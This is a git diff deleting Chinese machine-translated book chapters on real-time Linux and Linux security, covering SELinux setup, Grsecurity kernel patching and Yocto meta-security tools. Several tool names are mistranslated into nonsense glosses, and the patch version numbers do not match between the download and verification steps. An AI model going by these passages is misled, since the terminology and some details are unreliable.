修补程序的用处可能会有所不同。 关于 preempt_rt 补丁,它已经准备好用于硬实时系统。 不能得出一个结论,但我必须承认,如果它被用于维持生命或关键任务的系统,它可以被认为是硬实时材料。 这是每个人都要做的决定,这项测试是必需的。 支持这一观点的一个观点来自 Steven Rostedt,他是 Linux 内核开发人员,也是 Red Hat 实时 Linux 内核补丁稳定版本的维护者。 它在[http://www.linux.com/news/featured-blogs/200-libby-clark/710319-intro-to-real-time-linux-for-embedded-developers](http://www.linux.com/news/featured-blogs/200-libby-clark/710319-intro-to-real-time-linux-for-embedded-developers)上提供。 - -### 备注 - -关于这个问题的一些有趣的信息可以在[http://elinux.org/Realtime_Testing_Best_Practices](http://elinux.org/Realtime_Testing_Best_Practices)上访问。 - -# 元实时 - -`meta-realtime`层是由 WinDriver 的 Bruce Ashfield 维护的一项计划,它计划创建一个与 Linux 内核或系统开发相关的实时活动的场所。 它被创建为占位符,用于通用操作系统和实时操作系统的 PREMPT_RT、SCHED_Deadline、POSIX 实时和替代配对,无论这涉及用户空间 RTOS、虚拟机管理程序还是 AMP 解决方案。 此外,这也是系统分区、CPU 隔离和其他相关应用所在的位置。 当然,如果没有适用于整个 Linux 操作系统的性能分析和基准测试应用,所有这些都不会被认为是完整的。 - -虽然这一层描述一开始听起来真的很刺激,但它的内容真的很糟糕。 它只能集成许多测试工具,更准确地说,是其中两个:`schedtool-dl`和`rt-app`,以及尝试在目标计算机上远程运行`rt-app`并收集结果数据的额外脚本。 - -第一个`schedtool-dl`应用是用于截止日期调度的调度器测试工具。 这似乎是因为需要更改或查询 Linux 下可用的 CPU 调度策略甚至进程级别。 它还可用于锁定 SMP/NUMA 系统的各种 CPU 上的进程,以避免在音频/视频应用中跳过,并且一般情况下,即使在高负载下也能保持高水平的交互和响应能力。 - -### 备注 - -有关`schedtool-dl`应用的更多信息,请参阅[https://github.com/jlelli/schedtool-dl](https://github.com/jlelli/schedtool-dl)。 - -下一个也是最后一个可用的应用是`rt-app`,它用作模拟系统实时负载的测试应用。 它通过在给定的时间段启动多个线程来实现这一点。 它支持 SCHED_FIFO、SCHED_OTHER、SCHED_RR、SCHED_Deadline 以及**自适应服务质量体系结构**(**AQuoSA**)框架,该框架是一个开源项目,试图为 Linux 内核提供自适应的**服务质量**(**QoS**)。 - -### 备注 - -有关`rt-app`应用和 AQuoSa 框架的更多信息,请参阅[https://github.com/scheduler-tools/rt-app](https://github.com/scheduler-tools/rt-app)和[http://aquosa.sourceforge.net/](http://aquosa.sourceforge.net/)。 - -除了包含的包之外,该层还包含一个包含这些包的图像,但这远远不足以使该层包含大量内容。 虽然它包含的信息不是很多,但这一层之所以在本章中介绍,是因为它包含了起点,并提供了到目前为止所呈现的所有信息的发展观点。 当然,许多应该驻留在该层中的应用已经跨多个其他层分布,例如`meta-linaro`中提供的`idlestat`包。 然而,这并不构成这一解释的中心点。 我只是想指出可以包含任何实时相关活动的最合适的地方,在我看来,`meta-realtime`就是这个地方。 - -# 摘要 - -在本章中,我们向您简要介绍了 PREMPT_RT 和其他针对 Linux 内核实时问题的替代解决方案。 我们还探索了一些可用于相关实时活动的工具和应用。 然而,如果不提及 Yocto 项目,本演示将不完整,不仅涉及 preempt_rt Linux 内核的配方,还涉及`meta-realtime`层应用。 开发适用于新上下文的应用也是一个问题,因此这个问题在*Linux 实时应用*一节中得到了解决。 最后,我希望我能够通过整章提供的链接来呈现这个主题的完整图景,以激发读者的好奇心。 - -在下一章中,我们将简要介绍`meta-security`和`meta-selinux`层,并全面介绍 Linux 生态系统的总体安全需求,特别是 Yocto 项目的安全需求。 我们还将介绍一些试图保护 Linux 系统的工具和应用的相关信息,但这还不是全部。 看下一章,我相信你会喜欢的。 \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/11.md b/docs/learn-emb-linux-yocto-proj/11.md deleted file mode 100644 index ec3f3765..00000000 --- a/docs/learn-emb-linux-yocto-proj/11.md +++ /dev/null @@ -1,387 +0,0 @@ -# 十一、安全 - -在本章中,将向您介绍各种安全增强工具。 我们的第一站是 Linux 内核,这里有两个工具,SELinux 和 Grsecurity,这两个工具既有趣又必要。 接下来,还将解释 Yocto 项目的特定于安全的层。 其中包括 meta-security 和 meta-selinux,它们包含大量工具,可用于保护或审计 Linux 系统的各种组件。 由于这个主题很广泛,我还将让您研究各种其他解决方案,这些解决方案既在 Linux 内核中实现,也在外部实现。 我希望您喜欢这一章,并希望您觉得本信息有趣和有用。 - -在任何操作系统中,安全性都是用户和开发人员非常关心的问题。 没过多久,开发人员就开始用各种方法解决这些安全问题。 这为可用的操作系统带来了许多安全方法和改进。 在本章中,我们将介绍一些安全增强工具以及一些策略和验证例程,这些策略和验证例程用于确保各种组件(如 Linux 内核或 Yocto 项目)足够安全,可以使用。 我们还将了解在本章中出现的各种威胁或问题是如何处理的。 - -SELinux 和 Grsecurity 是试图强制 Linux 的 Linux 内核中的两个值得注意的安全改进。 SELinux 是一种**强制访问控制**(**MAC**)机制,它提供基于身份和角色的访问控制以及域类型实施。 第二个选项 Grsecurity 更类似于 ACL,实际上更适合支持远程连接的 Web 服务器和其他系统。 关于如何为 Linux 实现安全性以及 Yocto 项目如何处理该域,这些方面将在下一节中介绍。 我必须承认的一件事是,在撰写本章时,Yocto 项目中的安全处理仍然是一个年轻的项目,但我正在热情地等待,看看迭代的数量将如何随着时间的推移而增加。 - -# Linux 的安全性 - -每个 Linux 系统的核心是 Linux 内核。 任何能够破坏或控制系统的恶意代码也会影响 Linux 内核。 因此,它只会让用户明白,拥有一个安全的内核也是等式的重要组成部分。 幸运的是,Linux 内核是安全的,并且有许多安全特性和程序。 这一切背后的幕后黑手是詹姆斯·莫里斯(James Morris),他是 Linux 内核安全子系统的维护者。 甚至还有一个单独的 linux 存储库,可以在[http://git.kernel.org/?p=linux/kernel/git/jmorris/linux-security.git;a=summary](http://git.kernel.org/?p=linux/kernel/git/jmorris/linux-security.git;a=summary)上访问。 此外,通过查看[http://kernsec.org/wiki/index.php/Main_Page](http://kernsec.org/wiki/index.php/Main_Page)(它是 Linux 内核安全子系统的主页),您可以看到在该子系统中管理的确切项目,如果您感兴趣,还可以帮助它们。 - -还有一个工作组为 Linux 内核提供安全增强和验证,以确保它是安全的,并对 Linux 生态系统的安全性保持一定程度的信任。 他们的活动包括,但当然不限于,验证和测试关键子系统的各种漏洞,或开发工具来协助安全的 Linux 内核。 工作组还包括指导和维护添加到各种项目或构建工具的安全子系统或安全改进。 - -所有其他 Linux 软件组件都有自己的安全团队。 当然,有些人没有很好地定义这些团队,或者有一些与此主题相关的内部规则,但他们仍然意识到发生在其组件周围的安全威胁,并尝试修复这些漏洞。 Yocto 项目试图帮助解决这些问题,并在某种程度上统一了这些软件组件。 我希望多年来在这方面有所改善。 - -# SELinux - -SELinux 是 Linux 内核的安全增强,由美国国家安全局信息保障办公室开发。 它具有基于策略的体系结构,是构建在**Linux 安全模块**(**LSM**)接口上的 Linux 安全模块之一,旨在实现军事级别的安全。 - -目前,它附带了大量发行版,包括最知名和最常用的发行版,如 Debian、SuSE、Fedora、Red Hat 和 Gentoo。 它基于 MAC,管理员可以在 MAC 上控制与系统用户空间组件的所有交互。 它使用最少特权的概念:在这里,默认情况下,用户和应用没有访问系统资源的权限,因为所有这些资源都是由管理员实体授予的。 这是系统安全策略的组成部分,其重点如下图所示: - -![SELinux](img/image00369.jpeg) - -在 MAC 实现的帮助下,SELinux 内部的基本功能被沙箱保护起来。 在沙箱中,每个应用只能执行安全策略中定义的设计执行的任务。 当然,系统仍然可以使用标准的 Linux 权限,当需要尝试访问时,会在制定策略之前咨询这些权限。 如果没有可用权限,SELinux 将无法以任何方式影响系统。 但是,如果权限允许访问,则应咨询 SELinux 策略,以对访问是允许还是拒绝做出最终裁决。 - -在 SELinux 上下文中,访问决策是基于主体的安全上下文做出的。 这很可能是与与实际尝试的动作(例如文件读取动作)相比较的特定用户上下文以及可用对象(可以是文件)的安全上下文相关联的过程。 - -在继续之前,我们将看看如何在 Ubuntu 机器上启用 SELinux 支持。 我将首先介绍一些与 SELinux 相关的基本概念: - -* **用户**:在 SELinux 上下文中,用户与 UNIX 上下文中的用户不同。 它们之间的主要区别在于,在 SELinux 上下文中,用户在用户会话期间不会更改,并且有可能有更多的 UNIX 用户在相同的 SELinux 用户上下文中操作。 但是,也可以在 1:1 用户映射中操作,例如 Linux root 用户和 SELinux root 用户。 通常,SELinux 用户的命名会添加`_u`后缀。 -* **角色**:SELinux 用户可以有一个或多个角色。 角色的含义在策略中定义。 对象通常具有`object_r`角色,并且该角色通常带有`_r`字符串后缀。 -* **类型**:它是应用于进行授权决策的主要方法。 它也可以称为域,通常以`_t`作为后缀。 -* **上下文**:每个进程和对象都有其上下文。 事实上,它是决定是否允许对象和进程之间访问的属性。 SELinux 上下文表示为三个必填字段和一个可选字段,例如`user:role:type:range`。 前三个字段表示 SELinux 用户、角色和类型。 最后一条代表了 MLS 的范围,稍后会给出。 有关 MLS 的更多信息,请访问[http://web.mit.edu/rhel-doc/5/RHEL-5-manual/Deployment_Guide-en-US/sec-mls-ov.html](http://web.mit.edu/rhel-doc/5/RHEL-5-manual/Deployment_Guide-en-US/sec-mls-ov.html)。 -* **对象类**:SELinux 对象类表示可用对象的类别。 类别(如目录的`dir`和文件的`file`)也有一组与其相关联的权限。 -* **规则**:这些是 SELinux 的安全机制。 它们用作一种强制类型,并使用对象和进程的类型进行指定。 规则通常声明是否允许某个类型执行各种操作。 - -正如前面提到的,SELinux 是如此广为人知和赞赏,以至于它包含在大多数可用的 Linux 发行版中。 它的成功还体现在这样一个事实上,即大量的书籍都是关于这个主题的。 有关它的更多信息,请参考[http://www.amazon.com/s/ref=nb_ss_gw/102-2417346-0244921?url=search-alias%3Daps&FIELD-KEYES=SELINUX&go.x=12&Go.y=8&go=go](http://www.amazon.com/s/ref=nb_ss_gw/102-2417346-0244921?url=search-alias%3Daps&field-keywords=SELinux&Go.x=12&Go.y=8&Go=Go)。 话虽如此,让我们来看看在 Ubuntu 主机上安装 SELinux 所需的步骤。 第一步是 SELinux 包安装: - -```sh -sudo apt-get install selinux - -``` - -安装软件包后,需要将 SELinux 模式从禁用(不强制执行或记录 SELinux 策略的模式)更改为其他两个可用选项之一: - -* `Enforcing`:这在生产系统中最有用: - - ```sh - sudo sed -i 's/SELINUX=.*/SELINUX=enforcing/' /etc/selinux/config - - ``` - -* `Permissive`:在此模式下,不强制执行策略。 但是,任何拒绝都会被记录下来,并且主要用于调试活动和开发新策略时: - - ```sh - sudo sed -i 's/SELINUX=.*/SELINUX=permissive/' /etc/selinux/config - - ``` - -实施配置后,系统需要重新启动,以确保相应地标记系统文件。 - -关于 SELinux 的更多信息也可以在 Yocto 项目中获得。 有一整层专门用于 SELinux 支持。 此外,有关此工具的更多信息,建议您阅读专门介绍此问题的书籍之一。 如果您不喜欢这种方法,那么还有其他手册提供与 SELinux 相关的信息,这些手册可以在各种发行版中找到,比如 Fedora([https://docs.fedoraproject.org/en-US/Fedora/19/html/Security_Guide/ch09.html](https://docs.fedoraproject.org/en-US/Fedora/19/html/Security_Guide/ch09.html))、RedHat([https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/4/html/SELinux_Guide/index.html](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/4/html/SELinux_Guide/index.html))等等。 - -# 授权安全 - -Grsecurity 是根据 GNU 通用公共许可证发布的一套补丁,可用于 Linux 内核,有助于增强 Linux 的安全性。 这套补丁程序提供四个主要好处: - -* 免配置操作 -* 针对各种地址空间更改错误提供保护 -* 它包括一个访问控制列表系统和一些审计系统,这些系统非常全面,可以满足各种需求 -* 它能够与多个操作系统和处理器体系结构交互 - -Grsecurity 软件是免费的,它的开发始于 2001 年,最初是从 Openwall Project 移植了一些安全增强补丁。 它最初是针对 2.4.1 Linux 内核版本发布的,从那时起,开发就一直在继续。 随着时间的推移,它包含了一个 Pax 补丁包,可以提供保护内存页的可能性。 这是通过使用最小特权方法来完成的,这意味着对于程序的执行,应该在额外或更少的步骤的帮助下采取不超过必要的操作。 - -### 备注 - -如果您有兴趣查找有关 PAX 的更多信息,可以访问[http://en.wikipedia.org/wiki/PaX](http://en.wikipedia.org/wiki/PaX)和[https://pax.grsecurity.net/](https://pax.grsecurity.net/)。 - -Grsecurity 有个主要适用于 Web 服务器或接受来自不可信用户的外壳访问的服务器的功能。 其中一个主要特性是**基于角色的访问控制**(**RBAC**),它可以替代已有的 UNIX**自主访问控制**(**DAC**),甚至可以替代由 SMACK 或 SELinux 提供的强制访问控制(MAC)。 RBAC 的目标是提供一个最低权限系统,在该系统中,进程和用户只拥有归档其任务所需的最低权限。 Grsecurity 拥有的另一个特性与加强`chroot()`系统调用有关,以确保消除权限提升。 除此之外,还有许多其他功能,如审核和`/proc`限制。 - -我擅自将 Grsecurity 的功能分组定义,就像 Grsecurity 网站上显示的那样。 之所以在本章中介绍它们,是因为我认为当用户和开发人员的活动需要安全解决方案时,了解它的功能将有助于他们做出正确的决策。 下面是包含所有 GrSecurity 功能的列表: - -* 内存损坏防御: - * 对暴力攻击的自动响应 - * 针对喷雾攻击的强化 BPF JIT - * 强化的用户端内存权限 - * 线程堆栈之间的随机填充 - * 阻止内核直接访问用户区域 - * 行业领先的 ASLR - * 绑定检查发往/来自用户区域的内核副本 -* 文件系统强化: - * 叶绿素硬化 - * 消除针对管理员终端的旁路攻击 - * 防止用户欺骗 Apache 访问其他用户文件 - * 向非特权用户隐藏其他用户的进程 - * 提供可信路径执行 -* 其他保护措施: - * 基于 ptrace 的防止进程监听 - * 防止转储不可读的二进制文件 - * 防止攻击者自动加载易受攻击的内核模块 - * 拒绝访问权限过大的 IPC 对象 - * 强制执行一致的多线程权限 -* RBAC: - * 直观的设计 - * 自动全系统策略学习 - * 自动策略分析 - * 人类可读的策略和日志 - * 可使用 LSM 堆叠 - * 非常规特征 -* GCC 插件: - * 防止大小参数中的整数溢出 - * 防止从以前的系统调用泄露堆栈数据 - * 在早期引导和运行时增加熵 - * 随机化内核结构布局 - * 创建只读敏感内核结构 - * 确保所有内核函数指针都指向内核 - -记住 Grsecurity 的特性,我们现在可以进入 Grsecurity 及其管理员名为`gradm`的安装阶段。 - -需要做的第一件事是获得相应的包和补丁。 如以下命令行所示,启用 Grsecurity 的内核版本为`3.14.19`: - -```sh -wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.14.19.tar.gz -wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.14.19.tar.sign -wget http://grsecurity.net/stable/gradm-3.1-201502222102.tar.gz -wget http://grsecurity.net/stable/gradm-3.1-201502222102.tar.gz.sig -wget http://grsecurity.net/stable/grsecurity-3.1-3.14.36-201503182218.patch -wget http://grsecurity.net/stable/grsecurity-3.1-3.14.36-201503182218.patch.sig - -``` - -包可用后,需要检查其签名。 Linux 内核的签名检查过程很大,与其他系统不同,如下所示: - -```sh -wget http://grsecurity.net/spender-gpg-key.asc -sudo gpg --import spender-gpg-key.asc -sudo gpg --verify gradm-3.1-201502222102.tar.gz.sig -sudo gpg --verify grsecurity-3.1-3.14.35-201503092203.patch.sig -gzip -d linux-3.14.19.tar.gz -sudo gpg --verify linux-3.14.19.tar.sign - -``` - -第一次调用此命令时,不会验证签名,但会使 ID 字段可供以后使用。 它用于标识来自 PGP 密钥服务器的公钥: - -```sh -gpg: Signature made Mi 17 sep 2014 20:20:53 +0300 EEST using RSA key ID 6092693E -sudo gpg --keyserver hkp://keys.gnupg.net --recv-keys 6092693E -sudo gpg --verify linux-3.14.19.tar.sign - -``` - -在所有包都可用并正确验证之后,我们现在可以进入内核配置阶段。 第一步是打补丁,这是使用 Grsecurity 补丁完成的,但这需要首先访问 Linux 内核源代码: - -```sh -tar xf linux-3.14.19.tar -cd linux-3.14.19/ -patch -p1 < ../grsecurity-3.1-3.14.35-201503092203.patch - -``` - -在打补丁的过程中,源代码中缺少`include/linux/compiler-gcc5.h`,因此需要跳过补丁的这一部分。 但是,在此之后,修补过程就完成了,没有出现任何问题。 完成此步骤后,配置阶段可以继续。 有一些通用配置不需要任何额外修改就可以工作,但对于每个发行版,总会有一些特定的配置可用。 要检查它们并确保每一个都与您的硬件匹配,可以使用以下命令: - -```sh -make menuconfig - -``` - -如果您是第一次调用该命令,则前面的命令会显示一条警告消息,提示您以下内容: - -```sh -HOSTCC scripts/basic/fixdep -HOSTCC scripts/kconfig/conf.o - *** Unable to find the ncurses libraries or the - *** required header files. - *** 'make menuconfig' requires the ncurses libraries. - *** - *** Install ncurses (ncurses-devel) and try again. - *** -make[1]: *** [scripts/kconfig/dochecklxdialog] Error 1 -make: *** [menuconfig] Error 2 - -``` - -安装`libncurses5-dev`包即可解决,命令如下: - -```sh -sudo apt-get install libncurses5-dev - -``` - -解决了这些问题后,配置过程可以继续。 安全选项子部分提供了`grsecurity`选项,如以下屏幕截图所示: - -![Grsecurity](img/image00370.jpeg) - -在`grsecurity`选项内,还有另外两个子菜单选项。 有关这方面的更多详细信息,可以在下面的屏幕截图中看到: - -![Grsecurity](img/image00371.jpeg) - -第一个选项是指配置方法,可以是**自定义**或**自动**: - -![Grsecurity](img/image00372.jpeg) - -第二个选项指的是实际可用的配置选项: - -![Grsecurity](img/image00373.jpeg) - -### 备注 - -有关 GRAS 安全性和 PAX 配置选项的更多信息,请参见[http://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options](http://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options)。 - -我想提供的一条建议是,首先启用**自动**配置方法,然后继续进行自定义配置,以便在必要时微调 GrSecurity 和 Pax 设置。 另一个技巧是启用**Grsecurity**|**Customize Configuration**|**Sysctl support**选项,因为它提供了无需重新编译内核即可更改 Grsecurity 选项的可能性。 当然,如果选择了**自动**配置方法,则默认情况下该选项是启用的。 审核选项会生成大量日志,因此要防止日志泛滥,请确保还启用了**Grsecurity**|**自定义配置**|**日志记录选项**。 - -Grsecurity 系列的下一个工具是`gradm`管理员,它是一个强大的 ACL 解析器,也可以对它们进行优化。 为确保可以安装此实用程序,安装过程要求`gradm`的主机操作系统提供 Grsecurity 支持,否则编译过程将失败。 在安装`gradm`之前,还需要许多其他软件包:`lex`、`flex`、`byacc`、`bison`,如果需要,甚至还需要安装`pam`。 - -一旦满足所有依赖项,安装过程就可以开始了。 我想给您的最后一点信息是,如果您使用的发行版附带了支持 Grsecurity 补丁的内核,那么您可能首先要检查一下,因为补丁也可以预装`gradm`实用程序。 - -### 备注 - -有关 GrSecurity 管理的更多信息,请访问以下链接: - -[http://en.wikibooks.org/wiki/Grsecurity/The_Administration_Utility](http://en.wikibooks.org/wiki/Grsecurity/The_Administration_Utility) - -[http://en.wikibooks.org/wiki/Grsecurity/Additional_Utilities](http://en.wikibooks.org/wiki/Grsecurity/Additional_Utilities) - -[http://en.wikibooks.org/wiki/Grsecurity/Runtime_Configuration](http://en.wikibooks.org/wiki/Grsecurity/Runtime_Configuration) - -在 Yocto 层内部,支持`meta-oe`层内的`gradm`配方。 它在主分支上的`recipes-support/gradm/gradm_3.0.bb`可用。 此外,在`meta-accel`层的主分支上提供了 Grsecurity 内核配置;配置片段的确切位置是`recipes-kernel/linux/linux-yocto-iio/grsec.cfg`。 对于任何有兴趣了解 Yocto 提供的混凝土 Grsecurity 支持的人来说,我相信这条路对您来说是畅通无阻的,您可以开始着手做这样的事情了。 不过,有一条建议,你应该先问问 Yocto Project 社区,是否有人已经开始这么做了。 - -# Yocto 项目的安全保障 - -在 Yocto 项目中,安全问题还很年轻。 由于这个项目是在不到五年前宣布的,关于安全的讨论在去年左右就开始了,这是很正常的。 当然,安全团队有一个专门的邮件列表,其中包括来自不同公司的大量个人,但他们的工作程序还没有完全完成,因为目前工作正在进行中。 - -安全团队成员主要实现的活动包括了解最新和最危险的安全威胁,并确保他们找到修复程序,即使这包括自我修复和应用 Yocto 可用层中的更改。 - -目前,最耗时的安全活动围绕着狭小的参考系统,但也有许多公司采取行动,试图将一系列补丁推向各种 BSP 维护器层或其他第三方层。 对于那些感兴趣的人,与安全相关的讨论的邮件列表是`<[yocto-security@yoctoproject.org](mailto:yocto-security@yoctoproject.org)>`。 此外,在小组成立之前,可以在[http://webchat.freenode.net/?channels=#yocto](http://webchat.freenode.net/?channels=#yocto)提供的`#yocto`IRC 中找到它们,甚至可以在每两周召开一次的 Yocto 技术团队会议上找到它们。 - -### 备注 - -有关安全团队的更多信息可以在他们的 Wiki 页面上找到。 我鼓励每个对这个主题感兴趣的人在[https://wiki.yoctoproject.org/wiki/Security](https://wiki.yoctoproject.org/wiki/Security)上至少访问一次。 - -# 元安全和元 selinux - -在此部分中,介绍了与 Linux 安全工具相关的层计划。 在本章中,为 Linux 内核及其库提供了两个同时提供安全和强化工具的层。 它们的目的是简化模式嵌入式设备,确保它们的安全,并可能提供类似于台式机的安全级别。 - -由于嵌入式设备已经变得越来越强大,与安全相关的担忧也就自然而然了。 Yocto 项目的启动层,在这里,我指的是元安全和元 selinux,在简化过程方面又迈出了一步,以确保安全、强化和受保护的 Linux 系统。 它们与检测和修复漏洞系统一起在安全团队内部实施,有助于实现在嵌入式设备上拥有与台式机相同级别的安全性这一理想,并将这一想法推向更深一步。 说到这里,让我们继续进行层的实际解释。 - -## 元安全性 - -在元安全层中,有一些工具用于保护、加强和保护嵌入式设备,这些设备可能提供对各种实体的外部访问。 如果设备连接到互联网,或者容易受到任何形式的攻击或劫持,那么元安全层可能是您的第一站。 通过这一层和 meta-selinux 层,Yocto 项目试图提供适用于大多数社区或嵌入式用户设备的安全级别。 当然,增强对各种工具的支持或添加新工具并不是被禁止的,所以如果您觉得需要或迫切需要这样做,请毫不犹豫地添加您对增强工具的贡献。 欢迎任何新的提交者或提交者--我们的社区非常友好。 - -正如您已经习惯的,提供的工具是适用于嵌入式设备的开源软件包。 在元安全层中有许多可用组件,每个组件都试图不仅提供系统强化,而且还提供针对各种安全级别的安全检查、安全、端口扫描和其他有用的功能。 其中包括以下软件包: - -* 巴士底狱 (一座 14 世纪建于法国巴黎的堡垒,17—18 世纪用作国家监狱) -* RedHat-安全 -* Pax-Utils -* 降压-安全 -* Libseccomp -* 检查安全 -* 尼克托 -* Nmap -* ♪ClamAV♪ -* ISIC -* 冬节 / 夏末节 -* ♪猫鼬♪ -* 绊网 / 引爆线 / 警报拉发线 / 前哨试探性部队 - -除了这些包,还有许多库和**Tomoyo**,这是一个用于 MAC 实现的内核安全模块,作为系统分析工具也非常有用。 它于 2003 年 3 月首次发布,由日本 NTT 数据公司赞助,一直持续到 2012 年 3 月。 - -Tomoyo 的主要关注点是系统行为。 为此,系统创建过程中涉及的每个进程都声明其行为和实现目标所需的资源。 它由两个组件组成:一个是内核组件 linux-ccs,另一个是用户空间组件 ccs-tools;这两个组件都是正常运行所必需的。 Tomoyo 试图提供既实用又易于使用的 MAC 实现。 最后,它喜欢让系统对大多数用户可用,对普通用户和系统管理员来说是完美的。 它不同于 SELinux,因为它具有由**学习模式**提供的自动策略配置机制;而且它的策略语言非常容易掌握。 - -在启用保护之后,Tomoyo Linux 充当监视器,限制进程使用超出它们最初声明的内容。 它的主要特点包括以下几个方面: - -* 系统分析 -* 在政策制定过程中提供帮助的工具 -* 易于使用和理解的语法 -* 易用 -* 通过 MAC 实施提高了系统的安全性 -* 包含少量依赖项(嵌入式 GNU C 库、libncurses 和 GNU readline 库) -* 不修改根文件系统中已有的二进制文件 -* 从 2.6.30 版本开始,Linux 内核与 Tomoyo 内核模块合并,只需要在配置阶段启用该模块。 它最初是一个提供 MAC 支持的补丁,在主线内核内部的移植需要重新设计,使用钩子连接到**LSM**(**Linux Security Modules**),其中还包括 SELinux、AppArmor 和 SMACK。 但是,由于集成其余 MAC 功能需要更多挂钩,因此该项目还有另外两条并行开发路线,如下所示: -* **Tomoyo Linux 1.x**:这是的原始代码版本: - * 它使用非标准的特定挂钩 - * 它提供了所有 MAC 功能 - * 它作为内核的补丁发布,因为它不依赖于 LSM - * 它的最新版本是 1.7.1 -* **Tomoyo Linux 2.x**:这是主线源代码版本: - * 它使用标准 LSM 挂钩 - * 它包含的要素子集较少 - * 它是 2.6.30 Linux 内核版本不可或缺的组成部分 - * 最新版本是 2.5.0,支持 Linux 内核版本 3.2 -* **Akari 和 Tomoyo 1.x 叉子版本**: - * 它还使用标准 LSM 挂钩 - * 与 Tomoyo 1.x 相比,它的特点是功能集更少,但与 Tomoyo 2.x 不同 - * 它以 LSM 的形式发布;不需要重新编译内核 - -### 备注 - -如果您对三个版本之间的比较感兴趣,请参考[http://akari.sourceforge.jp/comparison.html.en](http://akari.sourceforge.jp/comparison.html.en)。 - -下一个包是`samhain`,这是一个系统完整性监视和报告工具,供怀疑其系统上的更改或活动的系统管理员使用。 它的运行基于客户端/服务器环境,能够监控多台主机,同时提供集中的维护和日志记录系统。 除了已经宣传过的功能之外,它还能够提供端口监控、恶意 SUID 检测、rootkit 检测以及隐藏进程,这些都增加了它支持多个平台的事实;它是一个非常有趣的工具。 - -这里的下一个元素与`samhain`属于同一类别,称为`tripwire`。 它是另一个完整性工具,但这个工具尝试检测文件系统对象的更改,并作为主机入侵检测系统工作。 信息在每次文件扫描后存储在数据库中,并将结果与已有的结果进行比较。 所做的任何更改都会报告给用户。 - -**Bastille**是一个强化程序,用于保护 Unix 主机的环境和系统。 它使用规则来实现其目标,并通过首先调用`bastille –c`命令来实现这一点,该命令会让您通过一长串问题。 回答这些问题后,将创建并执行一个配置文件,这表示您的操作系统现在已根据您的需要进行了强化。 如果通过调用`bastille –b`在系统上已经有配置文件可用,则可以将其设置为系统强化。 - -下一个工具是`redhat-security`,它是用于解决与安全扫描相关的各种问题的脚本集合。 以下是运行`redhat-security`脚本以简单地调用终端中的一个脚本所需的工具集合: - -* `find-chroot.sh`:此工具扫描整个系统以查找调用`chroot`的 ELF 文件,并包含对`chdir`的调用。 未通过此测试的程序在`chroot`中不包含`cwd`,它们不受保护,不能安全使用。 -* `find-chroot-py.sh`:此工具类似于前面的点,但只测试 Python 脚本。 -* `rpm-chksec.sh`:此工具获取 rpm 文件并检查其内容的编译标志。 它这么做是出于安全原因。 如果结果是绿色的,则一切正常,黄色表示可以,红色需要用户注意。 -* `find-nodrop-groups.sh`:此工具扫描整个系统以查找更改 UID 或 GID 的程序,而不调用`setgroups`和`initgroups`调用。 -* `rpm-drop-groups.sh`:此工具扫描整个系统,与前面的工具类似,但此工具使用可用的 RPM 文件。 -* `find-execstack.sh`:此工具扫描整个系统,查找将堆栈标记为可执行的 ELF 文件。 它用于识别易受堆栈缓冲区溢出影响的程序。 -* `find-sh4errors.sh`:此工具扫描整个系统以查找 shell 脚本,并使用`sh –n`命令检查其正确性。 -* `find-hidden-exec.sh`:此工具扫描系统以查找隐藏的可执行文件,并将结果报告给用户以供调查。 -* `selinux-ls-unconfined.sh`:此工具用于扫描所有正在运行的进程,并查找其上的`initrc_t`标签或`inetd`(这意味着它们是无限制运行的守护进程)。 这些问题应报告为 SELinux 策略问题。 -* `selinux-check-devides.sh`:此工具检查所有可用的设备,看它们的标签是否正确。 它还被标记为 SELinux 策略问题,需要解决。 -* `find-elf4tmp.sh`:此工具扫描整个系统,并检查使用的`tmp`文件是众所周知的、是用`mktemp`创建的,还是具有某种模糊的格式。 -* `find-sh3tm.sh`:该工具还扫描文件系统,尽管只在`/tmp`内部,并在那里查找 ELF 文件。 当它找到它们时,它会通过检查符号表来检查是否对它们调用了任何随机名称生成器函数。 如果结果是肯定的,它将输出字符串值。 -* `lib-bin-check.sh`:此工具检查库的软件包及其包含的软件包。 它基于这样的理念:系统上可用的二进制文件越少,它就越安全。 - -另一个包含的工具是`pax-utils`。 它还包括一些主要扫描 ELF 二进制文件以确保一致性的脚本,但这还不是全部。 让我们来看看其中的一些: - -* `scanelf`:此工具用于查找有关二进制文件 ELF 结构的预信息 -* `dumpelf`:此工具是一个用户空间实用程序,用于将内部 ELF 结构转储为等效的 C 结构,以供调试或引用 -* `pspax`:此工具用于扫描`/proc`并列出各种可用的 ELF 类型及其对应的 PAX 标志、属性和文件名 - -现在,下一个将要展示的工具是一个不同于已经展示的巴士底狱的安全扫描仪。 与`redhat-security`命令类似,此命令还执行许多脚本,并且可以配置为确认用户的需求。 它适合 Debian 和 Ubuntu 用户,在调用 buck-security 可执行文件之前,需要完成一些配置。 使用`export GPG_TTY=`tty``确保降压安全的所有功能都已启用,并在执行该工具之前检查`conf/buck-security.conf`配置文件内部,以检查您的需求是否得到满足。 - -**Suricata**是用于网络的高性能 IDS/IPS 和安全监控引擎。 它由**OISF**(**开放信息安全基金会**)及其支持者拥有和维护。 它使用**HTP**库,这是一个非常强大的 HTTP 解析器和规范器,并提供了一些很好的特性,比如协议标识、MD5 校验和、文件标识,甚至提取。 - -**另一方面,ISIC**顾名思义,就是 IP 堆栈完整性检查器(IP Stack Integrity Checker)。 事实上,它是一套用于 IP 堆栈和其他堆栈的实用程序,例如 TCP、ICMP、UDP 和其他测试防火墙或协议本身的实用程序。 - -对于任何 Web 服务器,**nikto**是要在您的设备上执行的工具。 它是一个扫描仪,用于运行一套测试,识别危险的 CGI 或其他文件。 它还提供了超过 1250 台服务器的过时版本,以及每个版本的各种漏洞列表。 - -列表中的下一个是**libseccomp**库,它为 Linux 内核提供了一个易于使用的抽象接口`syscall`,过滤了一种称为`seccomp`的机制。 它通过抽象 BPF`syscall`过滤器语言并将其呈现给一般的应用开发人员一种更加用户友好的格式来实现这一点。 - -**Checksecurity**是该行上的下一个包,它使用一组 shell 脚本和其他插件来测试对`setuid`程序的各种更改。 